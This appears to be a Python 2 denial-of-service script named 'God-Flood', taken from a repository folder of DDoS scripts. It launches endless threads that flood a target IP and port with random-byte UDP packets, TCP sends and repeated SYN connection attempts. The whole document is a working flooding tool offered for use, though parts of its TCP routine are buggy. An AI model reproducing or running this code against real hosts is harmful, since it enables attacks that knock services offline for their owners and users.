Path: blob/master/DDOS Scripts/L4/TCP/god-flood-v2.py
4565 views
#!/usr/bin/env python1#God-Flood(tcp,syn,udp) by LiGhT2import threading, sys, time, random, socket34if len(sys.argv) < 4:5print "God-Flood By LiGhT"6sys.exit("Usage: python "+sys.argv[0]+" <ip> <port> <size>")78ip = sys.argv[1]9port = int(sys.argv[2])10size = int(sys.argv[3])11packets = int(sys.argv[3])1213class syn(threading.Thread):14def __init__(self, ip, port, packets):15self.ip = ip16self.port = port17self.packets = packets18self.syn = socket.socket()19threading.Thread.__init__(self)20def run(self):21for i in range(self.packets):22try:23self.syn.connect((self.ip, self.port))24except:25pass2627class tcp(threading.Thread):28def __init__(self, ip, port, size, packets):29self.ip = ip30self.port = port31self.size = size32self.packets = packets33self.tcp = socket.socket(socket.AF_INET,socket.SOCK_STREAM)34threading.Thread.__init__(self)35def run(self):36for i in range(self.packets):37try:38bytes = random._urandom(self.size)39socket.connect(self.ip, self.port)40socket.setblocking(0)41socket.sendto(bytes,(self.ip, self.port))42except:43pass4445class udp(threading.Thread):46def __init__(self, ip, port, size, packets):47self.ip = ip48self.port = port49self.size = size50self.packets = packets51self.udp = socket.socket(socket.AF_INET,socket.SOCK_DGRAM)52threading.Thread.__init__(self)53def run(self):54for i in range(self.packets):55try:56bytes = random._urandom(self.size)57if self.port == 0:58self.port = random.randrange(1, 65535)59self.udp.sendto(bytes,(self.ip, self.port))60except:61pass6263while True:64try:65if size > 65507:66sys.exit("Invalid Number Of Packets!")67u = udp(ip,port,size,packets)68t = tcp(ip,port,size,packets)69s = syn(ip,port,packets)70u.start()71t.start()72s.start()73except KeyboardInterrupt:74print "Stopping Flood!"75sys.exit()76except socket.error, msg:77print "Socket Couldn't Connect"78sys.exit()7980